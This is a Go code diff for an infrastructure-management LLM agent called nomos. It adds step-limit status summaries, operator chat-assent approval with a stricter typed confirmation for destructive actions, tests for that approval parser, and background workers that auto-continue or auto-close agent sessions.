messages = append(messages, openai.SystemMessage("[System: you've reached the step limit for this turn. STOP calling tools now and write a concise status report: what you accomplished, the current state of the goal, anything that failed, and what remains. This is what the operator sees.]"))
|
||||
summary := a.finalSummary(ctx, messages)
|
||||
if summary == "" {
|
||||
summary = "I hit this turn's step limit while working. I've done a lot but couldn't wrap up cleanly — ask me for a status update and I'll summarize the current state."
|
||||
}
|
||||
emit(agentEvent{Type: "text", Data: summary, SessionID: sessionID})
|
||||
emit(agentEvent{Type: "done", Data: map[string]any{
|
||||
"session_id": sessionID,
|
||||
"correlation_id": correlationID,
|
||||
@@ -243,6 +525,22 @@ func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(a
|
||||
}, SessionID: sessionID})
|
||||
}
|
||||
|
||||
// finalSummary makes one non-tool LLM call to turn an exhausted tool-loop into
|
||||
// a real status report instead of a dead-end message. Best-effort: empty on
|
||||
// any error, and the caller has a fallback.
|
||||
func (a *agent) finalSummary(ctx context.Context, messages []openai.ChatCompletionMessageParamUnion) string {
|
||||
params := openai.ChatCompletionNewParams{
|
||||
Model: openai.ChatModel(a.model),
|
||||
Messages: messages,
|
||||
// No Tools: force a text answer.
|
||||
}
|
||||
resp, err := a.provider.Chat.Completions.New(ctx, params, a.reqOpts...)
|
||||
if err != nil || len(resp.Choices) == 0 {
|
||||
return ""
|
||||
}
|
||||
return resp.Choices[0].Message.Content
|
||||
}
|
||||
|
||||
// extractText pulls the "text" field from a persisted message's JSONB content.
|
||||
func extractText(content json.RawMessage) string {
|
||||
var m struct {
|
||||
@@ -351,8 +649,12 @@ func assistantToolCallMessage(calls []persistedCall) openai.ChatCompletionMessag
|
||||
// of spending its first iteration rediscovering topology it already has
|
||||
// tools to query. Best-effort: an empty string on any failure just means no
|
||||
// snapshot, not an error for the turn.
|
||||
func (a *agent) fleetSnapshot() string {
|
||||
result, err := a.client.callTool("get_health_summary", map[string]any{})
|
||||
func (a *agent) fleetSnapshot(sessionID string) string {
|
||||
client, err := a.clients.get(sessionID)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
result, err := client.callTool("get_health_summary", map[string]any{})
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
@@ -388,11 +690,45 @@ func (a *agent) fleetSnapshot() string {
|
||||
return summary
|
||||
}
|
||||
|
||||
func (a *agent) buildTools() ([]openai.ChatCompletionToolParam, error) {
|
||||
defs, err := a.client.listToolsFull()
|
||||
// isRefusalOrEmpty returns true when the LLM response is blank or looks like a
|
||||
// canned non-English refusal to an English-language conversation. Flash-tier
|
||||
// models occasionally emit Chinese boilerplate deflection instead of a real
|
||||
// answer; this catches it before it reaches the UI.
|
||||
func isRefusalOrEmpty(text string) bool {
|
||||
if strings.TrimSpace(text) == "" {
|
||||
return true
|
||||
}
|
||||
ascii, nonASCII := 0, 0
|
||||
for _, r := range text {
|
||||
if r <= 127 {
|
||||
ascii++
|
||||
} else {
|
||||
nonASCII++
|
||||
}
|
||||
}
|
||||
if nonASCII > ascii {
|
||||
return true
|
||||
}
|
||||
for _, pattern := range refusalDenylist {
|
||||
if strings.Contains(text, pattern) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (a *agent) buildTools(sessionID string) ([]openai.ChatCompletionToolParam, error) {
|
||||
client, err := a.clients.get(sessionID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defs, err := client.listToolsFull()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Append nomos-local, session-scoped task tools (complete_task, …) to the
|
||||
// MCP tool list. They're routed to handleTaskTool, not the MCP client.
|
||||
defs = append(defs, taskToolDefs()...)
|
||||
|
||||
var tools []openai.ChatCompletionToolParam
|
||||
for _, d := range defs {
|
||||
@@ -413,7 +749,23 @@ func (a *agent) buildTools() ([]openai.ChatCompletionToolParam, error) {
|
||||
return tools, nil
|
||||
}
|
||||
|
||||
// listToolsFull returns the MCP server's tool list, cached on this client
|
||||
// after the first call (see mcpClient.toolsCache). Fix F1 of
|
||||
// plans/2026-07-11-nomos-agent-code-review.md: buildTools calls this at the
|
||||
// start of every chat turn, including every auto-continuation resume — the
|
||||
// tool list is static for the lifetime of one MCP connection, so re-fetching
|
||||
// it every single time was avoidable network+parsing work on the hot path.
|
||||
// Cache invalidates on reconnectLocked (an api restart may change what's
|
||||
// registered).
|
||||
func (c *mcpClient) listToolsFull() ([]toolDef, error) {
|
||||
c.toolsMu.Lock()
|
||||
if c.toolsCache != nil {
|
||||
cached := c.toolsCache
|
||||
c.toolsMu.Unlock()
|
||||
return cached, nil
|
||||
}
|
||||
c.toolsMu.Unlock()
|
||||
|
||||
resp, err := c.doRequest("tools/list", map[string]any{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -436,5 +788,9 @@ func (c *mcpClient) listToolsFull() ([]toolDef, error) {
|
||||
InputSchema: t.InputSchema,
|
||||
}
|
||||
}
|
||||
|
||||
c.toolsMu.Lock()
|
||||
c.toolsCache = out
|
||||
c.toolsMu.Unlock()
|
||||
return out, nil
|
||||
}
|
||||
|
||||
183
cmd/nomos/assent.go
Normal file
183
cmd/nomos/assent.go
Normal file
@@ -0,0 +1,183 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Chat-assent approval: the operator authorizes a proposed action by
|
||||
// replying normally in chat ("go ahead", "yes", "do it") instead of clicking
|
||||
// a separate Approve button. This is deterministic (not LLM-judged) so it
|
||||
// can't be talked around by a model that misreads intent, and it only ever
|
||||
// looks at the assistant turn immediately preceding the operator's reply —
|
||||
// an old "yes" from three messages ago can never retroactively approve
|
||||
// something new. Destructive-risk actions are excluded: they always need the
|
||||
// explicit typed-confirmation flow, never loose assent.
|
||||
|
||||
// pendingApproval is one gated action proposed in the immediately-preceding
|
||||
// assistant turn, extracted from its tool_result text.
|
||||
type pendingApproval struct {
|
||||
execID string
|
||||
destructive bool
|
||||
}
|
||||
|
||||
// executionQueuedRE matches the "execution <uuid> queued" phrasing shared by
|
||||
// the run and request_execution/pct_create tool result messages.
|
||||
var executionQueuedRE = regexp.MustCompile(`(?i)execution\s+([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})\s+queued`)
|
||||
|
||||
// extractPendingApprovals scans the tool results of one assistant turn for
|
||||
// gated actions that are still awaiting a decision.
|
||||
func extractPendingApprovals(calls []persistedCall) []pendingApproval {
|
||||
var out []pendingApproval
|
||||
for _, c := range calls {
|
||||
text := c.resultText()
|
||||
m := executionQueuedRE.FindStringSubmatch(text)
|
||||
if m == nil {
|
||||
continue
|
||||
}
|
||||
out = append(out, pendingApproval{
|
||||
execID: m[1],
|
||||
destructive: strings.Contains(strings.ToUpper(text), "DESTRUCTIVE"),
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// negationWords, checked first: any of these anywhere in the message means
|
||||
// the reply is NOT assent, even if a positive word also appears (e.g. "no,
|
||||
// don't restart it yet" contains neither "yes" nor "go ahead", but "wait"
|
||||
// alone should also block a stray "yes" a sentence later — checking negation
|
||||
// first and returning false errs toward re-confirming rather than assuming
|
||||
// consent, per "when in doubt, escalate"). Includes contracted negatives
|
||||
// ("haven't", "isn't", ...) alongside "don't"/"do not" — found live: "I
|
||||
// haven't confirmed anything yet" was reading as an explicit confirmation
|
||||
// because none of the contracted forms were covered, only "don't"/"do not".
|
||||
// Deliberately does NOT include a bare "not": that's broad enough to false-
|
||||
// negative ordinary assent ("go ahead, this is not risky") — the specific
|
||||
// contracted-verb forms below are unambiguous negation on their own.
|
||||
var negationWords = []string{
|
||||
"no", "nope", "don't", "do not", "stop", "wait", "hold on", "hold off",
|
||||
"not yet", "cancel", "nevermind", "never mind", "actually don't", "skip that",
|
||||
"haven't", "hasn't", "isn't", "wasn't", "aren't", "can't", "cannot",
|
||||
"won't", "wouldn't", "shouldn't", "didn't", "doesn't",
|
||||
}
|
||||
|
||||
// assentWords, checked only if no negation matched.
|
||||
var assentWords = []string{
|
||||
"go ahead", "goahead", "yes", "yep", "yeah", "yup", "do it", "proceed",
|
||||
"approve", "approved", "confirm", "confirmed", "ship it", "sounds good",
|
||||
"lgtm", "run it", "execute", "ok go", "okay go", "please do",
|
||||
}
|
||||
|
||||
// wordTokenRe splits a message into lowercase word tokens. Apostrophes
|
||||
// (straight ' and curly ’) stay attached to their word so "don't"/"haven't"
|
||||
// tokenize as one token, not two.
|
||||
var wordTokenRe = regexp.MustCompile(`[a-z0-9'’]+`)
|
||||
|
||||
func tokenize(msg string) []string {
|
||||
return wordTokenRe.FindAllString(strings.ToLower(strings.ReplaceAll(msg, "’", "'")), -1)
|
||||
}
|
||||
|
||||
// containsPhrase reports whether phrase (one or more words) appears as a
|
||||
// consecutive run of WHOLE tokens in tokens — never a mid-word substring
|
||||
// match. This is the fix for a real false positive found live: the old
|
||||
// substring check (`strings.Contains(m, "yes")`) matched "yes" inside
|
||||
// "yesterday", and "confirm" inside "confirmed"/"unconfirmed" without regard
|
||||
// for word boundaries. Negation already used a word-boundary check
|
||||
// (space-padded); assent/confirm words didn't — this brings both onto the
|
||||
// same, more robust tokenized comparison instead of ad-hoc string padding.
|
||||
func containsPhrase(tokens []string, phrase string) bool {
|
||||
words := strings.Fields(phrase)
|
||||
if len(words) == 0 || len(words) > len(tokens) {
|
||||
return false
|
||||
}
|
||||
for i := 0; i+len(words) <= len(tokens); i++ {
|
||||
match := true
|
||||
for j, w := range words {
|
||||
if tokens[i+j] != w {
|
||||
match = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if match {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// isAssent reports whether msg is a plain-language authorization of a
|
||||
// pending proposal. Deliberately simple and auditable: a fixed word list,
|
||||
// not a model judgment call, so behavior is predictable and can't be
|
||||
// prompt-injected via the pending action's own content.
|
||||
func isAssent(msg string) bool {
|
||||
tokens := tokenize(msg)
|
||||
for _, w := range negationWords {
|
||||
if containsPhrase(tokens, w) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
for _, w := range assentWords {
|
||||
if containsPhrase(tokens, w) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// isTypedConfirmation reports whether msg is an explicit confirmation strong
|
||||
// enough to grant a DESTRUCTIVE pending action. Deliberately a separate,
|
||||
// stricter check from isAssent: a bare "yes"/"go ahead"/"proceed" must never
|
||||
// grant something destructive, only an explicit "confirm" statement does —
|
||||
// this is the typed-confirmation phrase SOUL.md tells the operator to use
|
||||
// ("I confirm destroy 135"). Still negation-aware for the same reason as
|
||||
// isAssent: "don't confirm yet" must not accidentally match.
|
||||
func isTypedConfirmation(msg string) bool {
|
||||
tokens := tokenize(msg)
|
||||
for _, w := range negationWords {
|
||||
if containsPhrase(tokens, w) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return containsPhrase(tokens, "confirm") || containsPhrase(tokens, "confirmed")
|
||||
}
|
||||
|
||||
// approveExecution grants (or denies) a pending execution via the same HTTP
|
||||
// endpoint the chat UI's Approve button calls, so both paths share one code
|
||||
// path server-side (executeApprovedAction) and one audit trail. Returns the
|
||||
// decided status, or an error if the request failed outright (a 4xx for an
|
||||
// already-decided/expired approval is reported via ok=false, not a hard err,
|
||||
// since that's an expected race, not a bug).
|
||||
func (a *agent) approveExecution(ctx context.Context, execID string) (ok bool, status string, err error) {
|
||||
if a.apiBase == "" {
|
||||
return false, "", fmt.Errorf("no API base configured")
|
||||
}
|
||||
body, _ := json.Marshal(map[string]string{"decision": "approve"})
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodPost,
|
||||
a.apiBase+"/api/v1/approvals/"+execID+"/decision", bytes.NewReader(body))
|
||||
if err != nil {
|
||||
return false, "", err
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
if a.apiToken != "" {
|
||||
req.Header.Set("Authorization", "Bearer "+a.apiToken)
|
||||
}
|
||||
resp, err := a.httpClient.Do(req)
|
||||
if err != nil {
|
||||
return false, "", err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, "", nil // already decided / expired / not found — not a hard failure
|
||||
}
|
||||
var out struct {
|
||||
Status string `json:"status"`
|
||||
}
|
||||
json.NewDecoder(resp.Body).Decode(&out)
|
||||
return true, out.Status, nil
|
||||
}
|
||||
136
cmd/nomos/assent_test.go
Normal file
136
cmd/nomos/assent_test.go
Normal file
@@ -0,0 +1,136 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestIsAssent_Positive(t *testing.T) {
|
||||
cases := []string{
|
||||
"go ahead", "Go ahead.", "yes", "Yes!", "yeah", "yep", "do it",
|
||||
"proceed", "approve", "ship it", "sounds good", "lgtm", "please do",
|
||||
"ok go ahead and run it",
|
||||
}
|
||||
for _, c := range cases {
|
||||
if !isAssent(c) {
|
||||
t.Errorf("isAssent(%q) = false, want true", c)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsAssent_Negative(t *testing.T) {
|
||||
cases := []string{
|
||||
"no", "no, don't", "wait", "hold on", "not yet", "cancel that",
|
||||
"nevermind", "what's the plan for tomorrow?", "how many CPUs does strong have?",
|
||||
"maybe later", "",
|
||||
}
|
||||
for _, c := range cases {
|
||||
if isAssent(c) {
|
||||
t.Errorf("isAssent(%q) = true, want false", c)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsAssent_NegationBeatsAssentWord(t *testing.T) {
|
||||
// Contains "yes" as a substring pattern risk word but is clearly not
|
||||
// assent — negation must win.
|
||||
cases := []string{
|
||||
"no, don't do it yet",
|
||||
"wait, not yet please",
|
||||
}
|
||||
for _, c := range cases {
|
||||
if isAssent(c) {
|
||||
t.Errorf("isAssent(%q) = true, want false (negation should block)", c)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestIsAssent_WholeWordBoundary regression-tests a real false positive found
|
||||
// live: the old substring check matched "yes" inside "yesterday" (and would
|
||||
// equally match "confirm" inside "confirmed"/"unconfirmed" for
|
||||
// isTypedConfirmation below) because only negation used a word-boundary
|
||||
// check — assent/confirm words used a bare strings.Contains. Confirmed via a
|
||||
// throwaway probe before being fixed; kept here permanently so a future
|
||||
// change can't silently reintroduce it.
|
||||
func TestIsAssent_WholeWordBoundary(t *testing.T) {
|
||||
cases := []string{
|
||||
"not sure, maybe yesterday's logs show something useful",
|
||||
"my eyesight isn't great, what does that say",
|
||||
}
|
||||
for _, c := range cases {
|
||||
if isAssent(c) {
|
||||
t.Errorf("isAssent(%q) = true, want false (word-boundary: 'yes' must not match inside 'yesterday'/'eyesight')", c)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestIsTypedConfirmation_ContractedNegation regression-tests the other real
|
||||
// false positive: isTypedConfirmation gates DESTRUCTIVE actions, and
|
||||
// "confirm" matching inside "confirmed" combined with contracted negatives
|
||||
// ("haven't") not being in negationWords meant a message that explicitly
|
||||
// says the operator has NOT confirmed something could read as confirming it.
|
||||
func TestIsTypedConfirmation_ContractedNegation(t *testing.T) {
|
||||
cases := []string{
|
||||
"I haven't confirmed anything yet, let me think",
|
||||
"that isn't confirmed on my end",
|
||||
"we can't confirm that until tomorrow",
|
||||
}
|
||||
for _, c := range cases {
|
||||
if isTypedConfirmation(c) {
|
||||
t.Errorf("isTypedConfirmation(%q) = true, want false (contracted negation should block)", c)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsTypedConfirmation(t *testing.T) {
|
||||
positive := []string{
|
||||
"I confirm destroy 135 in strong",
|
||||
"confirm",
|
||||
"Confirmed.",
|
||||
"yes I confirm",
|
||||
}
|
||||
for _, c := range positive {
|
||||
if !isTypedConfirmation(c) {
|
||||
t.Errorf("isTypedConfirmation(%q) = false, want true", c)
|
||||
}
|
||||
}
|
||||
negative := []string{
|
||||
"yes", "go ahead", "do it", "proceed", "lgtm", // loose assent must NOT satisfy this
|
||||
"no, don't confirm yet", "wait", "",
|
||||
}
|
||||
for _, c := range negative {
|
||||
if isTypedConfirmation(c) {
|
||||
t.Errorf("isTypedConfirmation(%q) = true, want false (only explicit confirm should pass)", c)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractPendingApprovals(t *testing.T) {
|
||||
mkCall := func(text string) persistedCall {
|
||||
b, _ := json.Marshal(text)
|
||||
return persistedCall{id: "x", name: "run", result: json.RawMessage(b)}
|
||||
}
|
||||
calls := []persistedCall{
|
||||
mkCall("run on host:strong requires approval (risk: config_mutation) — execution 019f4930-e22b-7c47-8c6e-715dcd59df19 queued. Present the command..."),
|
||||
mkCall("some unrelated read-only result, no approval here"),
|
||||
mkCall("run on lxc:caddy requires approval (risk: destructive) — execution 019f4931-aaaa-7c47-8c6e-715dcd59df20 queued. This is classified DESTRUCTIVE — flag that clearly."),
|
||||
}
|
||||
got := extractPendingApprovals(calls)
|
||||
if len(got) != 2 {
|
||||
t.Fatalf("expected 2 pending approvals, got %d: %+v", len(got), got)
|
||||
}
|
||||
if got[0].execID != "019f4930-e22b-7c47-8c6e-715dcd59df19" || got[0].destructive {
|
||||
t.Errorf("first approval wrong: %+v", got[0])
|
||||
}
|
||||
if got[1].execID != "019f4931-aaaa-7c47-8c6e-715dcd59df20" || !got[1].destructive {
|
||||
t.Errorf("second approval should be flagged destructive: %+v", got[1])
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractPendingApprovals_NoneWhenNoneQueued(t *testing.T) {
|
||||
b, _ := json.Marshal("fleet is healthy, nothing to report")
|
||||
calls := []persistedCall{{id: "x", result: json.RawMessage(b)}}
|
||||
if got := extractPendingApprovals(calls); len(got) != 0 {
|
||||
t.Errorf("expected no pending approvals, got %+v", got)
|
||||
}
|
||||
}
|
||||
288
cmd/nomos/continue.go
Normal file
288
cmd/nomos/continue.go
Normal file
@@ -0,0 +1,288 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/dtoro/oikos/internal/safego"
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// execIDRe matches "execution <uuid>" in a tool result — the phrasing shared
|
||||
// by request_execution / run when they queue or start a gated execution.
|
||||
// Only these async executions need continuation; the synchronous auto-run
|
||||
// path returns its output inline and is already observed in-turn.
|
||||
var execIDRe = regexp.MustCompile(`(?i)execution\s+([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})`)
|
||||
|
||||
func extractExecutionIDs(toolResult string) []uuid.UUID {
|
||||
matches := execIDRe.FindAllStringSubmatch(toolResult, -1)
|
||||
seen := map[uuid.UUID]bool{}
|
||||
var out []uuid.UUID
|
||||
for _, m := range matches {
|
||||
if id, err := uuid.Parse(m[1]); err == nil && !seen[id] {
|
||||
seen[id] = true
|
||||
out = append(out, id)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// idleTaskThreshold is how long a goal-bearing session can sit non-terminal
|
||||
// with no activity before the idle sweep nudges it, per
|
||||
// plans/2026-07-11-task-completion-safety-net.md. Arbitrary starting point,
|
||||
// not measured against real task durations — long enough that it won't fire
|
||||
// mid-turn, short enough the board doesn't lie for hours.
|
||||
const idleTaskThreshold = 15 * time.Minute
|
||||
|
||||
// runIdleSweepWorker is the safety net for case 2 of
|
||||
// plans/2026-07-11-task-completion-safety-net.md: sessions that called
|
||||
// set_goal (so the inline safety net in agent.go correctly left them alone,
|
||||
// since they framed themselves as a real task) but then stalled without
|
||||
// ever calling complete_task. Coarser than runContinuationWorker's 4s tick
|
||||
// since "gone idle" is a much slower signal than "an execution just
|
||||
// finished." Blocks until ctx is cancelled.
|
||||
func (a *agent) runIdleSweepWorker(ctx context.Context) {
|
||||
if a.store == nil {
|
||||
slog.Warn("nomos: idle sweep worker disabled (no store)")
|
||||
return
|
||||
}
|
||||
slog.Info("nomos: idle sweep worker started")
|
||||
ticker := time.NewTicker(5 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
a.processIdleSweep(ctx)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// processIdleSweep nudges a stalled goal-bearing session once; if it's still
|
||||
// non-terminal on the NEXT sweep (meaning the nudge itself went unanswered,
|
||||
// not just that the model is still working), auto-closes it with a
|
||||
// visible "auto-closed" outcome instead of leaving it stuck forever — same
|
||||
// reasoning resumeSession already applies below for a different failure
|
||||
// mode (a resume that produces no response at all).
|
||||
func (a *agent) processIdleSweep(ctx context.Context) {
|
||||
stale := a.store.staleGoalSessions(ctx, idleTaskThreshold, 5)
|
||||
for _, s := range stale {
|
||||
s := s
|
||||
if s.CompletionNudges == 0 {
|
||||
safego.Go("nomos:idle-nudge:"+s.ID, func() {
|
||||
if err := a.store.bumpCompletionNudge(ctx, s.ID); err != nil {
|
||||
slog.Error("nomos: idle nudge bump failed", "session", s.ID, "error", err)
|
||||
return
|
||||
}
|
||||
note := fmt.Sprintf("[System: this task ('%s') has been idle for %s with no complete_task call. "+
|
||||
"If the goal is done (or can't be completed), call complete_task now with the outcome and a "+
|
||||
"one-line summary. If you're still genuinely working through the plan, ignore this and continue.]",
|
||||
s.Goal, idleTaskThreshold)
|
||||
a.resumeSession(ctx, s.ID, note)
|
||||
})
|
||||
continue
|
||||
}
|
||||
safego.Go("nomos:idle-autoclose:"+s.ID, func() {
|
||||
summary := fmt.Sprintf("Auto-closed after %s idle with no response to a completion nudge.", idleTaskThreshold)
|
||||
if err := a.store.completeTask(ctx, s.ID, "partial", summary); err != nil {
|
||||
slog.Error("nomos: idle auto-close failed", "session", s.ID, "error", err)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// runContinuationWorker is the event loop that replaces the human typing
|
||||
// "continue". It polls for gated executions that (a) were initiated by a chat
|
||||
// session and (b) have just finished, and — while that agent has an open assent
|
||||
// window (an approved plan is in flight) — feeds each result back into the
|
||||
// agent so it proceeds to the next step or recovers from the failure, all
|
||||
// without an operator tick. Blocks until ctx is cancelled.
|
||||
func (a *agent) runContinuationWorker(ctx context.Context) {
|
||||
if a.store == nil {
|
||||
slog.Warn("nomos: continuation worker disabled (no store)")
|
||||
return
|
||||
}
|
||||
slog.Info("nomos: continuation worker started")
|
||||
ticker := time.NewTicker(4 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
a.processContinuations(ctx)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// processContinuations dispatches each pending item as its OWN goroutine
|
||||
// (safego.Go, so a panic deep in one task's resumed turn — JSON parsing of
|
||||
// model output, an unexpected nil in a tool result — is recovered and logged
|
||||
// instead of taking down this whole function, which used to run every
|
||||
// item sequentially in the SAME goroutine as the ticker loop. Two problems
|
||||
// that fixed: (1) throughput — task B's continuation no longer waits for
|
||||
// task A's full (up to 10-minute) resumed turn to finish first, the exact
|
||||
// per-task blocking this session's earlier concurrency work removed from the
|
||||
// live-chat path but had left in place here; (2) survivability — since Go
|
||||
// panics unwind the goroutine they occur in, an unrecovered one here used to
|
||||
// mean this call (and every future tick, since the whole ticker loop runs in
|
||||
// one goroutine) would simply stop — auto-continuation for every task would
|
||||
// silently die until nomos restarted. Now a single bad item can only ever
|
||||
// take down its own goroutine.
|
||||
func (a *agent) processContinuations(ctx context.Context) {
|
||||
pending := a.store.pendingContinuations(ctx, 5)
|
||||
for _, p := range pending {
|
||||
// Scope gate: only auto-continue while an approved plan is active FOR
|
||||
// THIS SESSION. Checked per-item, not once for the whole batch — with
|
||||
// multiple tasks in flight, one task's open window must never cover a
|
||||
// pending continuation belonging to a different task.
|
||||
if !a.store.assentWindowActive(ctx, a.agentID, p.SessionID) {
|
||||
// A finished one-off execution with no window is left as-is
|
||||
// (marked continued so we don't re-check it forever) — the
|
||||
// operator decides what happens next, as today.
|
||||
a.store.markContinued(ctx, p.ExecID)
|
||||
continue
|
||||
}
|
||||
a.store.markContinued(ctx, p.ExecID) // stamp first: a failure here must not cause a re-continue loop
|
||||
safego.Go("nomos:continue-session:"+p.SessionID, func() { a.continueSession(ctx, p) })
|
||||
}
|
||||
}
|
||||
|
||||
// continueSession re-invokes the agent for one finished execution. Persists
|
||||
// progress LIVE — a placeholder row immediately, updated in place as each
|
||||
// tool call completes — instead of only saving once the whole continuation
|
||||
// finishes. The frontend polls (see chat.ts startPolling); without
|
||||
// incremental persistence here, a continuation that runs several tool calls
|
||||
// before concluding would look like total silence in the UI for however long
|
||||
// that takes, which is exactly the "I just wait while nothing happens"
|
||||
// complaint this exists to fix — polling alone only helps if there's
|
||||
// something new to poll for.
|
||||
func (a *agent) continueSession(ctx context.Context, p pendingContinuation) {
|
||||
slog.Info("nomos: auto-continuing session", "session", p.SessionID, "execution", p.ExecID, "status", p.Status)
|
||||
a.resumeSession(ctx, p.SessionID, buildContinuationNote(p))
|
||||
}
|
||||
|
||||
// resumeSession re-invokes the agent for a session with a system-injected note —
|
||||
// a finished execution (continueSession) or an operator's answer to a question
|
||||
// (handleAnswerQuestion) — persisting progress LIVE (a placeholder row updated
|
||||
// in place as each tool call lands) so the frontend poller sees each step,
|
||||
// instead of total silence until the whole resume concludes.
|
||||
func (a *agent) resumeSession(ctx context.Context, sessionID, note string) {
|
||||
placeholder, _ := json.Marshal(map[string]any{
|
||||
"role": "assistant",
|
||||
"text": "",
|
||||
"auto": true,
|
||||
})
|
||||
msgID, err := a.store.insertMessageReturningID(ctx, sessionID, "assistant", placeholder)
|
||||
if err != nil {
|
||||
slog.Error("nomos: resume placeholder insert failed", "session", sessionID, "error", err)
|
||||
}
|
||||
|
||||
var toolCalls []map[string]any
|
||||
var finalText, errText string
|
||||
|
||||
persist := func() {
|
||||
if msgID == uuid.Nil {
|
||||
return
|
||||
}
|
||||
text := finalText
|
||||
if text == "" && errText != "" {
|
||||
text = fmt.Sprintf("(auto-continuation hit an internal error and did not respond: %s — the execution's own result is above; you may need to prompt the agent again)", errText)
|
||||
}
|
||||
body, _ := json.Marshal(map[string]any{
|
||||
"role": "assistant",
|
||||
"text": text,
|
||||
"tool_calls": toolCalls,
|
||||
"auto": true, // marks this as an autonomous continuation, not an operator turn
|
||||
})
|
||||
a.store.updateMessage(ctx, msgID, body)
|
||||
}
|
||||
|
||||
// One retry if the LLM call itself produced nothing (transient flake /
|
||||
// empty-response) — the whole point of this mechanism is "don't give up
|
||||
// on the first error," which should apply to the continuation call
|
||||
// itself, not just the homelab commands it's continuing. Found live: a
|
||||
// destructive-recovery continuation hit an empty LLM response, its
|
||||
// internal retry (chatWith's own maxLLMRetries=1) also came up empty, and
|
||||
// without this outer retry the operator would see nothing at all.
|
||||
cctx, cancel := context.WithTimeout(ctx, 10*time.Minute)
|
||||
defer cancel()
|
||||
for attempt := 0; attempt < 2; attempt++ {
|
||||
toolCalls, finalText, errText = nil, "", ""
|
||||
emit := func(ev agentEvent) {
|
||||
if ev.Type == "tool_use" || ev.Type == "tool_result" {
|
||||
if m, ok := ev.Data.(map[string]any); ok {
|
||||
m["type"] = ev.Type
|
||||
toolCalls = append(toolCalls, m)
|
||||
}
|
||||
persist() // live: a poller sees this step land within seconds
|
||||
}
|
||||
if ev.Type == "text" {
|
||||
finalText, _ = ev.Data.(string)
|
||||
}
|
||||
if ev.Type == "error" {
|
||||
errText, _ = ev.Data.(string)
|
||||
}
|
||||
}
|
||||
a.chatWith(cctx, sessionID, "", note, emit)
|
||||
if finalText != "" || len(toolCalls) > 0 {
|
||||
break
|
||||
}
|
||||
if attempt == 0 {
|
||||
slog.Warn("nomos: resume produced nothing, retrying once", "session", sessionID, "error", errText)
|
||||
}
|
||||
}
|
||||
|
||||
if errText != "" && finalText == "" {
|
||||
slog.Error("nomos: resume produced no response after retry", "session", sessionID, "error", errText)
|
||||
// Give the task a real, operator-visible terminal state instead of
|
||||
// leaving it silently stuck at whatever status it was in (typically
|
||||
// 'executing' or 'awaiting_input') forever. Before this, a
|
||||
// permanently-failed resume was invisible beyond a log line — the
|
||||
// task board just showed a task that never changed, with nothing
|
||||
// telling the operator it needed attention. Marking it failed here
|
||||
// doesn't prevent the operator from continuing to work the task via
|
||||
// a fresh chat message afterward; it just stops the silent hang.
|
||||
summary := fmt.Sprintf("Auto-resume failed after retrying: %s", errText)
|
||||
if len(summary) > 200 {
|
||||
summary = summary[:200] + "…"
|
||||
}
|
||||
if cerr := a.store.completeTask(context.Background(), sessionID, "failure", summary); cerr != nil {
|
||||
slog.Error("nomos: failed to mark task failed after resume gave up", "session", sessionID, "error", cerr)
|
||||
}
|
||||
}
|
||||
persist() // final state — same row, updated one last time with the concluding text
|
||||
}
|
||||
|
||||
// buildContinuationNote frames the finished execution for the model: what
|
||||
// happened, and what to do about it. The persist-through-errors instruction
|
||||
// lives here (and in SOUL) so the agent recovers instead of stopping.
|
||||
func buildContinuationNote(p pendingContinuation) string {
|
||||
action := p.Action
|
||||
if i := strings.IndexByte(action, ':'); i > 0 && len(action) > 40 {
|
||||
action = action[:i] // keep just the action verb for brevity; params are in the DB
|
||||
}
|
||||
result := p.Result
|
||||
if len(result) > 3000 {
|
||||
result = result[:3000] + "…[truncated]"
